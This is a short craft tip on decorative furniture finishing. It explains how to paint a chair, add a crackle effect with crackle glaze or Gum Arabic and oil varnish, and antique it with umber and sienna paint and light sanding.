You would paint your pattern first. Then apply the crackling effect. Once this is dry you can rub in a bit of artist paint (raw umber and burnt sienna) to add an antique and emphasis the crackle. You can further antique the chair by physically distressing it. Use fine sand paper and sand the corners, etc. before you add the final antique glaze.
The crackle effect basically works by the concept of surface tension. You apply a slow drying medium first, and then a faster one on top, the faster layers dries and shrinks, creating the crack pattern. If you get a decent crackle glaze solution, then that may be easier to handle than the Gum Arabic and oil varnish. The Gum Arabic and oil varnish is the traditional method however, and will provide excellent results.
